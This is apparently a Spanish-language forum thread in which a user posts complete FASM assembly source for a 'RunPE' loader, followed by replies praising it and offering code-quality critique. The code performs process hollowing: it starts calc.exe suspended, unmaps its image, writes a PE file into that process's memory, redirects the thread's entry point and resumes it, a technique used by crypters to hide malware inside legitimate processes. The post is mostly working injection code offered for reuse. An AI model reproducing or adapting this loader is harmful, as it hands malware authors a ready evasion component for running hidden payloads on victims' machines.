Nunca encontre ningún RunPE en FASM que funcionase asique al final me decidi por programarlo yo:
; // RunPE
; // Programado por Juan fary (mDrinky)
; // [email protected]
format PE GUI 4.0
include 'win32ax.inc'
entry start
section '.data' readable writeable
struct CONTEXT
ContextFlags dd ?
Dr0 dd ?
Dr1 dd ?
Dr2 dd ?
Dr3 dd ?
Dr6 dd ?
Dr7 dd ?
FloatSave dd ?
SegGs dd ?
SegFs dd ?
SegEs dd ?
SegDs dd ?
Edi dd ?
Esi dd ?
Ebx dd ?
Edx dd ?
Ecx dd ?
Eax dd ?
Ebp dd ?
Eip dd ?
SegCs dd ?
EFlags dd ?
Esp dd ?
SegSs dd ?
ExtendedRegisters rb 512
ends
calc db 'c:\windows\system32\calc.exe',0
bleidos dd 0
Datos dd 0
Espacio dd 0
_SI STARTUPINFO ?
_PI PROCESS_INFORMATION ?
CTX CONTEXT ?
Param2 dd 0
; Datos PE
imagebase dd ?
sizeofheaders dd ?
sizeofimage dd ?
numseciones dd ?
section '.code' executable readable writeable
start:
invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ; nos autoleemos
mov ebx,eax
invoke GetFileSize,ebx,0
mov edi,eax
invoke GlobalAlloc,GPTR,edi
push eax
invoke ReadFile,ebx,eax,edi,addr bleidos,0
invoke CloseHandle,ebx
pop eax
mov [Datos],eax
cmp word[eax],'MZ'
jne salir
add eax,dword[eax+0x3C] ; PE
cmp word[eax],'PE'
jne salir
push dword[eax+0x34] ; imagebase
pop [imagebase]
push dword[eax+0x54] ; sizeofheaders
pop [sizeofheaders]
push dword[eax+0x50]
pop [sizeofimage] ; sizeofimage
movzx ebx,word[eax+0x6] ; numero de secciones
mov [numseciones],ebx
push eax ; guardamos ya EAX para el final
push eax
invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
mov [Espacio],eax
invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
pop eax
mov ecx,0
add eax,0xF8 ; posicionamos en las cabeceras de seccion
EscribirSecciones:
inc ecx
push ecx
push eax
mov ebx,eax
mov ebx,dword[ebx+0xC] ; imagebase
add ebx,[imagebase]
mov [Param2],ebx
mov ebx,eax
mov ebx,dword[ebx+0x14]
mov edx,[Datos]
add edx,ebx
mov ebx,eax
mov ebx,dword[ebx+0x10]
invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
pop eax
pop ecx
add eax,0x28 ; Siguiente IMAGE_SECTION_HEADER
cmp ecx,[numseciones]
jne EscribirSecciones
invoke GetThreadContext,[_PI.hProcess],CTX
invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
pop eax
add eax,dword[eax+0x3C]
mov eax,dword[eax+0x28]
mov [CTX.Eax],eax ; EntryPoint
invoke SetThreadContext,[_PI.hProcess],CTX
invoke ResumeThread,[_PI.hThread]
salir:
ret
section '.idata' import data readable writeable
library NTDLL,'NTDLL.DLL',\
KERNEL32,'KERNEL32.DLL'
import KERNEL32,\
CreateProcessA,'CreateProcessA',\
CreateFileA,'CreateFileA',\
GetFileSize,'GetFileSize',\
GlobalAlloc,'GlobalAlloc',\
ReadFile,'ReadFile',\
CloseHandle,'CloseHandle',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
GetThreadContext,'GetThreadContext',\
SetThreadContext,'SetThreadContext',\
ResumeThread,'ResumeThread'
import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'
un saludo!
grande Drinky
Muy bonito para aprender ;D gracias mDrinky. a analizar un poco :)
Es recomendable utilizar funciones Heap, debido a que las funciones Global fueron implementadas para compatibilidad con aplicaciones de 16 bits e internamente hacen llamadas a sus contrapartes Heap.
Pasando al resto del código, existen mejores formas de mapear un PE, y podrías definir algunas estructuras por lo menos. También me llama la atención que te interese liberar un handle, pero no liberar el buffer de memoria.
Leer el archivo entero en un solo ReadFile() es ineficaz en caso de que no sea PE, o si nos encontrásemos en algún contexto en el cual siempre recibiremos un PE, ¿para qué verificar los word 'MZ' o 'PE'?.
Buen código, gracias por compartir ;D
Si hay cargar un PE desde ASM y no necesites fwb yo siempre utilizo la técnica de cambiar tu baseaddr para poder cargar el PE en tu propio proceso sin necesidad de sección reloc :)